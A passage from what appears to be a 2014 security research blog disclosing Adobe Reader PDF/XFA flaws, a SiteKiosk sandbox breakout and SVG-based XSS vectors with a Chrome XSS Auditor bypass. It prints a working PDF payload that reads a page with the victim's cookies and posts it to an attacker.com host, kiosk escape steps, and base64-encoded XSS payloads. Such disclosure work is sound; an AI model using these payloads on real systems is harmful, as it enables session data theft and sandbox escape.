xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj</code></pre>
<br />
The Impact is limited because<br />
o) it is limited to same origin<br />
o) HTML Pages break the xml<br />
o) Dynamic Entities are not supported<br />
o) I had the idea to use a utf-16 xml to avoid breaking the xml structure, but I it didn't work.<br />
<br />
<br />
But it still can be used to read JSON.<br />
<br />
<h3>
Same origin policy bypass in Reader (CVE-2014-8453)</h3>
Status: fixed<br />
Reality: <span style="color: red;">fixed but same origin still vulnerable!</span><br />
<br />
In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you<br />
how powerful/terrifying PDF can be.<br />
Many people know that PDF supports a scripting language called Javascript but there is another one.<br />
It is mentioned in the specification for XFA, a file type also supported by the adobe reader.<br />
It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification<br />
there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves.<br />
'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it.<br />
We can then use 'POST' to send the return content to our own server:<br />
<br />
<i>var content = GET("myfriends.php");</i><br />
<i>Post("http://attacker.com",content);</i><br />
<br />
These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for<br />
most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products.<br />
<br />
To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website,<br />
you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued<br />
by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens.<br />
<pre><code class="HTML">
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by insertscript
%PDF-1. % can be truncated to %PDF-\0
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="initialize">
<script contentType='application/x-formcalc'>
<span style="white-space: pre;"> </span>var content = GET("myfriends.php");
Post("http://attacker.com",content);
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>
<div>
</div>
</code></pre>
<br />
After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser<br />
as a proxy (@beef still working on the module^^)<br />
<br />
The bypass is really simple:<br />
<br />
1. User A loads evil.pdf from http://attacker.com/evil.pdf<br />
2. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php<br />
3. redirect.php redirects with 301 to http://facebook.com<br />
4. Adobe reader will follow and read the response without looking for a crossdomain.xml.<br />
5. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php<br />
<br />
This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too.Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-54379621381944179512014-09-16T12:57:00.000-07:002014-09-16T12:57:12.881-07:00SiteKiosk - Breakout<br />
<br />
<div style="-webkit-text-stroke-width: 0px; color: black; font-family: 'Times New Roman'; font-size: medium; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
</div>
<br />
<h2 style="-webkit-text-stroke-width: 0px; color: black; font-family: 'Times New Roman'; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
SiteKiosk - Breakout</h2>
It has been a while since my last blog post, therefore I am going to share two possible bypasses for the software <a href="http://www.sitekiosk.de/de-DE/SiteKiosk/default.aspx">SiteKiosk</a> on Windows. As the name suggests, it is a kiosk software ^^.<br />
SiteKiosk is a software from Provision GmbH. It claims to have more than 250.000 installations world wide, which would make it to one of the most used software in the "Public Access Terminal Software" category.<br />
It has a lot of features, but my only goal was to break out of the sandbox and start an external application.<br />
In the end my findings produced a new beef modules.<br />
<br />
<h3>
Meet the enemy</h3>
<br />
Provision GmbH offers a trial version, which has nearly all features enabled. The only restriction is that it will sometimes annoy you with a 30 second timeout.<br />
It uses IE as a rendering engine and has support for flash + PDF. So there is a lot to play with ;)<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"><tbody>
<tr><td style="text-align: center;"><a href="http://www.sitekiosk.de/de-DE/SiteKiosk/screenshots/dlg-block_mid_img_de.png" imageanchor="1" style="margin-left: auto; margin-right: auto; text-align: center;"><img border="0" src="http://www.sitekiosk.de/de-DE/SiteKiosk/screenshots/dlg-block_mid_img_de.png" height="240" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">SiteKiosk greeting message</td></tr>
</tbody></table>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<h3>
The Bypasses</h3>
Step one: Get a file on the file system<br />
Step two: Execute it!<br />
<br />
<b>Getting a file on the system</b><br />
<br />
After some tests it turned out that SiteKiosk is pretty good at blocking any dialogs which are triggered by changing the location. It also blocks all of the handlers I tested like "its:" and "file:". Additionally it checks iframes too and blocks any dialogs.<br />
But javascript is powerful and with this "power" comes the possibility to trigger downloads ;).<br />
The function I am talking about is window.navigator.msSaveOrOpenBlob.<br />
The first parameter is a blob, which represents the data. The second parameter is the file name<br />
<br />
<span style="font-family: Courier New, Courier, monospace;"><script></span><br />
<span style="font-family: Courier New, Courier, monospace;">bb = new MSBlobBuilder();</span><br />
<span style="font-family: Courier New, Courier, monospace;">bb.append("THE DATA");</span><br />
<span style="font-family: Courier New, Courier, monospace;">window.navigator.msSaveOrOpenBlob(bb.getBlob(),"example.exe");</span><br />
<span style="font-family: Courier New, Courier, monospace;"></script></span><br />
<br />
Click Download and the first step is done.<br />
<br />
But there is another bypass, which is also really simple. I thought if javascript is able to trigger downloads, there is most likely another language, maybe a plugin, which could do the same.<br />
Of course I am talking about flash and actionscript. Like javascript it can trigger a download dialog, which is not blocked by the sitekiosk sandbox. I will give an example code at the end of the text.<br />
Next step, find a place to save the file and execute it.<br />
<br />
<br />
<b>
Execution time</b><br />
<b><br /></b>
<b><i>Javascript</i></b><br />
<b><br /></b>So you can download file, whats next? There are different things you can do. In case of a download triggered by javascript, you need to find a location where you can save and execute an executable. I chose "C:\users\public\downloads". Most of the time the download dialog won't let you specify the location. To bypass this restriction, use shell:ProgramFiles in the address bar of the download dialog. It will change the address bar to "C:\Program Files". Now you can go back to C: and specify the location.<br />
<br />
If you are lazy, you can trigger a download of a .hta file. HTA files are html applications, which are rendered by mshta.exe. Yes, by default it is not blocked. HTA are html files with all the power, which means they can execute any ActiveX Object. Additionally it does not matter where you save them, because they are interpreted by mshta.exe and not executed in the location they are saved (in contrast to .exe).<br />
<br />
<b><i>Flash</i></b><br />
<br />
In case of flash you will see that after finishing the download there is no no run button and no dialog at all. In contrast to JavaScript, this behavior makes it more difficult to execute a file.<br />
Another problem is that you can't do a double click in a download window, so you can't download a .exe, reopen the download window and double click it. But there is a way around this problem too.<br />
To execute a .exe via a flash download do the following:<br />
<div>
<ol>
<li>Trigger the download via flash. Save the exe in any location.</li>
<li>Trigger the download again. Rename the previously downloaded exe so that it will not be overwritten by the second download. So you end up with two executables in the same location.</li>
<li>Open the download window a last time. But instead of specifying a location to save, you drag the icon of one executable into the other one. This will start the program and the other one is treated as an argument. It is like dragging a file into notepad.exe to open it. </li>
</ol>
<div>
<br /></div>
</div>
This trick only works for executables. But there is another way to start interpreted files like hta:<br />
<br />
<div>
<ol>
<li>Create on your local pc a lnk (a shortcut file), which points to "C:\windows\system32\mshta.exe". Trigger the download of this file via flash.</li>
<li>Trigger the download of your hta script file. Save it in the same location as the previous downloaded file.</li>
<li>Open the download window. Now you drag your .hta script file into the mshta.exe.lnk file. This will pass the file to the real mshta.exe, which is then executed. </li>
</ol>
<h3>
Protection</h3>
</div>
To protect your sitekiosk application you need to do 2 things.<br />
First you need to block all possible script applications like mshta. This can be done with the System Security Assistent.<br />
Second you need to lock down all location where it is possible to store and execute files. An example is C:\users\public\downloads.<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-9817225943079971512014-02-05T02:02:00.001-08:002014-02-05T03:53:25.417-08:00SVG Fun Time - Firefox SVG Vector + Bypassing Chrome XSS Auditor <head><br />
<style>
pre {
white-space: pre-wrap;
}
</style></head><br />
<pre><span style="color: black;"><span style="font-family: Times New Roman, serif; font-size: large;">I played around with SVG and the <span style="font-family: DejaVu Sans Mono, monospace;"><i><</i></span><a href="http://www.w3.org/TR/SVG11/struct.html#UseElement"><span style="font-family: DejaVu Sans Mono, monospace;"><i>use</i></span></a><span style="font-family: DejaVu Sans Mono, monospace;"><i>></i></span> element and found some interesting things, which I want to share. I do not know if anyone already posted some information about that. Let me know, if there is already information out there :)</span></span>
<span style="font-size: large;"><span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>======================</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>SVG - <use> element</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>======================</b></span></span></span>
<span style="font-size: large;"><span style="color: black;"><span style="font-family: Times New Roman, serif;">The</span></span><span style="color: black;"><span style="font-family: DejaVu Sans Mono, monospace;"> </span></span><span style="color: black;"><span style="font-family: DejaVu Sans Mono, monospace;"><i><</i></span></span><a href="http://www.w3.org/TR/SVG11/struct.html#UseElement"><span style="font-family: DejaVu Sans Mono, monospace;"><i>use</i></span></a><span style="font-family: DejaVu Sans Mono, monospace;"><i>></i></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"> element is used in SVG to </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">reuse other elements. It is mainly used in combination with </span></span><span style="color: black;"><span style="font-family: DejaVu Sans Mono, monospace;"><i><</i></span></span><a href="http://www.w3.org/TR/SVG11/struct.html#Head"><i>defs</i></a><span style="color: black;"><span style="font-family: DejaVu Sans Mono, monospace;"><i>></i></span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"> and alike. However we are going to use it to refer</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">e</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">nce el</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">e</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">ments in an external SVG file.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Elements are referenced by their id prepended with a '#' sign inside the <i>xlink:href</i> attribute of the <span style="font-family: DejaVu Sans Mono, monospace;"><i><use></i></span><span style="font-family: DejaVu Sans Mono, monospace;"> </span>tag.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">This needs to be done for external elements too.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Basically the structure looks like this:</span></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif; font-size: large;"><b>test.html:</b></span></span></pre>
<table cellpadding="4" cellspacing="0" style="width: 100%px;"> <colgroup><col width="256*"></col> </colgroup><tbody>
<tr> <td style="border: 1px solid #000000; padding: 0.1cm;" valign="TOP" width="100%"><pre><span style="font-family: Courier New, Courier, monospace;"><span style="color: black;"><i><svg></i></span>
<span style="color: black;"><i><use xlink:href='external.svg#<span style="background: #00ff00;">rectangle</span>' /></i></span>
<span style="color: black;"><i></svg></i></span></span></pre>
</td> </tr>
</tbody></table>
<pre><span style="font-size: large;">
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>external.svg:</b></span></span></span></pre>
<table cellpadding="4" cellspacing="0" style="width: 100%px;"> <colgroup><col width="256*"></col> </colgroup><tbody>
<tr> <td style="border: 1px solid #000000; padding: 0.1cm;" valign="TOP" width="100%"><pre><span style="font-family: Courier New, Courier, monospace;"><span style="color: black;"><i><svg id="</i></span><span style="color: black;"><i><span style="background: #00ff00;">rectangle</span></i></span><span style="color: black;"><i>" xmlns="http://www.w3.org/2000/svg"</i></span>
<span style="color: black;"><i>xmlns:xlink="http://www.w3.org/1999/xlink"</i></span>
<span style="color: black;"><i>width="100" height="100"></i></span>
<span style="color: black;"><i><a xlink:href="javascript:alert(location)"></i></span>
<span style="color: black;"><i><rect x="0" y="0" width="100" height="100" /></i></span>
<span style="color: black;"><i></a></i></span>
<span style="color: black;"><i></svg></i></span></span></pre>
</td> </tr>
</tbody></table>
<pre><span style="color: black;"><span style="font-family: Times New Roman, serif; font-size: large;">
</span></span></pre>
<pre><span style="font-size: large;"><span style="color: black;"><span style="font-family: Times New Roman, serif;">The file <i>external.svg</i> starts with a <span style="font-family: DejaVu Sans Mono, monospace;"><i><svg></i></span> tag with the <i>id</i> set to rectangle, which draws a rectangle by using the <span style="font-family: DejaVu Sans Mono, monospace;"><i><<a href="http://www.w3.org/TR/SVG/shapes.html#RectElement">rect</a>></i></span> tag. It is possible to surround the <span style="font-family: DejaVu Sans Mono, monospace;"><i><rect> </i></span>element with a <span style="font-family: DejaVu Sans Mono, monospace;"><i><a></i></span> tag, which creates a <a href="http://www.w3.org/TR/SVG11/linking.html"><i>Hyperlink</i></a>. By using the <a href="http://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-03"><i>JavaScript url scheme</i></a> the click-able <i>Hyperlink</i> will execute <i>JavaScript</i>, when <a href="http://html5sec.org/#87">clicked</a>.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Even if the SVG is loaded via a <span style="font-family: DejaVu Sans Mono, monospace;"><i><</i></span><span style="font-family: DejaVu Sans Mono, monospace;"><i>use</i></span><span style="font-family: DejaVu Sans Mono, monospace;"><i>></i></span> tag, the <i>JavaScript</i> will be executed. It is important to note that it is only possible to load SVG files, which are residing on the same <a href="http://www.w3.org/Security/wiki/Same_Origin_Policy">origin</a>.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>======================</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>FIREFOX</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>======================</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Because it is mandatory that the loaded external SVG is same origin, this features seems not like a good XSS attack vector.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">But Firefox really helps to improve this attack vector.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">First of all, you can use the </span></span><a href="https://tools.ietf.org/html/rfc2397">data: url schem</a><a href="https://tools.ietf.org/html/rfc2397">e</a><span style="color: black;"><span style="font-family: Times New Roman, serif;">.</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"> </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">It allows us to create a file internally, on the fly. It requires the correct </span></span><a href="https://en.wikipedia.org/wiki/Internet_media_type"><i>mime-type</i></a><span style="color: black;"><span style="font-family: Times New Roman, serif;">, which is </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"><i>image/svg+xml</i></span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">. </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">The mime-type is either followed by the payload or by the keyword </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"><i>base64. </i></span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">It specifies, that the data is </span></span><a href="https://en.wikipedia.org/wiki/Base64"><i>base64</i></a><span style="color: black;"><span style="font-family: Times New Roman, serif;"><i> </i></span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">encoded, which helps avoiding problems breaking the </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"><i>HTML</i></span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"> structure.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Now we do not have to rely on another file on the same server:</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>test.html:</b></span></span></span></pre>
<table cellpadding="4" cellspacing="0" style="width: 100%px;"> <colgroup><col width="256*"></col> </colgroup><tbody>
<tr> <td style="border: 1px solid #000000; padding: 0.1cm;" valign="TOP" width="100%"><pre><span style="font-family: Courier New, Courier, monospace;"><span style="color: black;"><i><svg></i></span>
<span style="color: black;"><i><use xlink:href="data:image/svg+xml;base64,</i></span>
<span style="color: black;"><i>PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo</i></span>
<span style="color: black;"><i>vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW</i></span>
<span style="color: black;"><i>5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI</i></span>
<span style="color: black;"><i>iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8</i></span>
<span style="color: black;"><i>YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx</i></span>
<span style="color: black;"><i>vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG</i></span>
<span style="color: black;"><i>g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd</i></span>
<span style="color: black;"><i>mc+#rectangle" /></i></span>
<span style="color: black;"><i></svg></i></span></span></pre>
</td> </tr>
</tbody></table>
<pre><span style="font-size: large;">
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>Decoded base64 payload:</b></span></span></span></pre>
<table cellpadding="4" cellspacing="0" style="width: 100%px;"> <colgroup><col width="256*"></col> </colgroup><tbody>
<tr> <td style="border: 1px solid #000000; padding: 0.1cm;" valign="TOP" width="100%"><pre><span style="font-family: Courier New, Courier, monospace;"><span style="color: black;"><svg id="rectangle" </span>
<span style="color: black;">xmlns="http://www.w3.org/2000/svg" </span>
<span style="color: black;">xmlns:xlink="http://www.w3.org/1999/xlink"</span>
<span style="color: black;">width="100" height="100"></span>
<span style="color: black;"><a xlink:href="javascript:alert(location)"></span>
<span style="color: black;"><rect x="0" y="0" width="100" height="100" /></span>
<span style="color: black;"></a></span>
<span style="color: black;"></svg></span></span></pre>
</td> </tr>
</tbody></table>
<pre><span style="font-size: large;">
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Again the browser will display a black rectangle, which will alert the location when clicked.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">But why bothering the victim to click anything. They never do what they should do ;).</span></span>
<span style="color: black;"><span style="font-family: DejaVu Sans Mono, monospace;"><i><s</i></span></span><span style="color: black;"><span style="font-family: DejaVu Sans Mono, monospace;"><i>cript</i></span></span><span style="color: black;"><span style="font-family: DejaVu Sans Mono, monospace;"><i>></i></span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"> tags in </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"><i>external.</i></span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"><i>svg</i></span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"> are not parsed, but SVG supports the </span></span><span style="color: black;"><span style="font-family: DejaVu Sans Mono, monospace;"><i><</i></span></span><a href="http://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement"><span style="font-family: DejaVu Sans Mono, monospace;"><i>foreign</i></span></a><a href="http://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement"><span style="font-family: DejaVu Sans Mono, monospace;"><i>O</i></span></a><a href="http://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement"><span style="font-family: DejaVu Sans Mono, monospace;"><i>bject</i></span></a><span style="font-family: DejaVu Sans Mono, monospace;"><i>></i></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"><i> </i></span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">element.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">By specifying the <i>required extensions</i> attribute of this object, it is possible to load non SVG elements.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">This means it is now possible to use<i> </i><span style="font-family: DejaVu Sans Mono, monospace;"><i><iframe></i></span><i>,</i><span style="font-family: DejaVu Sans Mono, monospace;"><i><embed></i></span> and all the other supported HTML elements. We can try a bunch of elements to execute JavaScript.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">I chose the <span style="font-family: DejaVu Sans Mono, monospace;"><i><</i></span><span style="font-family: DejaVu Sans Mono, monospace;"><i>embed</i></span><span style="font-family: DejaVu Sans Mono, monospace;"><i>></i></span> tag + <i>JavaScript</i><i> </i><i>URL</i><i> scheme</i>.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Assume the following SVG:</span></span></span></pre>
<table cellpadding="4" cellspacing="0" style="width: 100%px;"> <colgroup><col width="256*"></col> </colgroup><tbody>
<tr> <td style="border: 1px solid #000000; padding: 0.1cm;" valign="TOP" width="100%"><pre><span style="font-family: Courier New, Courier, monospace;"><span style="color: black;"><i><svg id="rectangle"</i></span>
<span style="color: black;"><i>xmlns="http://www.w3.org/2000/svg"</i></span>
<span style="color: black;"><i>xmlns:xlink="http://www.w3.org/1999/xlink"</i></span>
<span style="color: black;"><i>width="100" height="100"></i></span>
<span style="color: black;"><i><script>alert(1)</script></i></span>
<span style="color: black;"><i><foreignObject width="100" height="50"</i></span>
<span style="color: black;"><i>requiredExtensions="http://www.w3.org/1999/xhtml"></i></span>
<span style="color: black;"><i><embed xmlns="http://www.w3.org/1999/xhtml" </i></span>
<span style="color: black;"><i>src="javascript:alert(location)" /></i></span>
<span style="color: black;"><i></foreignObject></i></span>
<span style="color: black;"><i></svg></i></span></span></pre>
</td> </tr>
</tbody></table>
<pre><span style="font-size: large;">
<span style="color: black;"><span style="font-family: Times New Roman, serif;">It will load via the </span></span><span style="color: black;"><span style="font-family: DejaVu Sans Mono, monospace;"><</span></span><span style="color: black;"><span style="font-family: DejaVu Sans Mono, monospace;">foreignObject</span></span><span style="color: black;"><span style="font-family: DejaVu Sans Mono, monospace;">></span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"> the embed tag, which uses a </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">JavaScript</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"> </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">URL</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"> scheme to execute </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">JavaScript</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Again we <i>base64</i> encode the payload to load it via the data: scheme.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>test.html:</b></span></span></span></pre>
<table cellpadding="4" cellspacing="0" style="width: 100%px;"> <colgroup><col width="256*"></col> </colgroup><tbody>
<tr> <td style="border: 1px solid #000000; padding: 0.1cm;" valign="TOP" width="100%"><pre><span style="font-family: Courier New, Courier, monospace;"><span style="color: black;"><svg></span>
<span style="color: black;"><use xlink:href="data:image/svg+xml;base64,</span>
<span style="color: black;">PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD</span>
<span style="color: black;">ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs</span>
<span style="color: black;">aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW</span>
<span style="color: black;">5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+</span>
<span style="color: black;">PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3</span>
<span style="color: black;">JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i</span>
<span style="color: black;">NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW</span>
<span style="color: black;">RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x</span>
<span style="color: black;">OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH</span>
<span style="color: black;">A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i</span>
<span style="color: black;">amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ</span>
<span style="color: black;">ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+</span>#rectangle" /></span></pre>
<pre><span style="color: black; font-family: Courier New, Courier, monospace;"></svg></span></pre>
</td> </tr>
</tbody></table>
<pre><span style="font-size: large;">
<span style="color: black;"><span style="font-family: Times New Roman, serif;">In the case that <i>test.html</i> is opened in Firefox, it will alert the location.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">So we have another vector in SVG to execute JavaScript :)</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">As a side not, the payload also contains a <span style="font-family: DejaVu Sans Mono, monospace;"><i><script>alert(1)</script></i></span>, which should proof that <span style="font-family: DejaVu Sans Mono, monospace;"><i><script></i></span> tags are not parsed.</span></span>
<span style="color: black;"> </span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>======================</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>CHROME </b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>XSS Auditor Bypass</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>======================</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Let us use this feature against Chrome. Chrome does not support the <i>data: URL scheme</i> inside the <i>xlink:href</i> attribute of the <span style="font-family: DejaVu Sans Mono, monospace;"><i><</i></span><span style="font-family: DejaVu Sans Mono, monospace;"><i>use</i></span><span style="font-family: DejaVu Sans Mono, monospace;"><i>></i></span> tag.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Additionally I did not find a way to execute <i>JavaScript</i> without user interaction. </span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">But at least I can give you a Blink/Webkit XSS Auditor bypass with user interaction.</span></span>
<a href="http://www.imperva.com/resources/glossary/http_parameter_pollution_hpp.html">No Parameter Pollution</a><span style="color: black;"><span style="font-family: Times New Roman, serif;"> is used and only one parameter </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">is necessary</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">. </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">This </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">is</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"> mentioned, because Blink/Webkit XSS Auditor does not catch XSS attacks, w</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">hich are broken-up into two or more </span></span><a href="http://code.google.com/p/chromium/issues/detail?id=96616">parameters</a><span style="color: black;"><span style="font-family: Times New Roman, serif;">.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Assume the following </span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">P</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">H</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;">P</span></span><span style="color: black;"><span style="font-family: Times New Roman, serif;"> script:</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>xss.php</b></span></span></span></pre>
<table cellpadding="4" cellspacing="0" style="width: 100%px;"> <colgroup><col width="256*"></col> </colgroup><tbody>
<tr> <td style="border: 1px solid #000000; padding: 0.1cm;" valign="TOP" width="100%"><pre><span style="font-family: Courier New, Courier, monospace;"><span style="color: black;"><i><?php</i></span>
<span style="color: black;"><i>echo "<body>";</i></span>
<span style="color: black;"><i>echo $_GET['x'];</i></span>
<span style="color: black;"><i>echo "</body>";</i></span>
<span style="color: black;"><i>?></i></span></span></pre>
</td> </tr>
</tbody></table>
<pre><span style="font-size: large;">
<span style="color: black;"><span style="font-family: Times New Roman, serif;">The script is vulnerable to XSS.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">But using a payload like </span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">http://vulnerabledoman.com/xss.php?x=<i><svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg></i> will trigger the XSS Auditor.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">So let us use the <span style="font-family: DejaVu Sans Mono, monospace;"><i><</i></span><span style="font-family: DejaVu Sans Mono, monospace;"><i>use</i></span><span style="font-family: DejaVu Sans Mono, monospace;"><i>></i></span><i> </i>element!</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>======================</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>Creating the</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>SVG on the fly</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;"><b>======================</b></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">We want to load another external SVG file, so we begin with <i><svg><use xlink:href=</i></span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">But wait, it has to be same origin and we can't use the <i>data </i><i>scheme</i>. How do we get a file on the server?</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">It is simple, we use the XSS vulnerability twice in a row!</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">First we build the <i>URL</i>, which crafts the the SVG, which contains the <i>Javascript URL scheme</i>:</span></span></span></pre>
<table cellpadding="4" cellspacing="0" style="width: 100%px;"> <colgroup><col width="256*"></col> </colgroup><tbody>
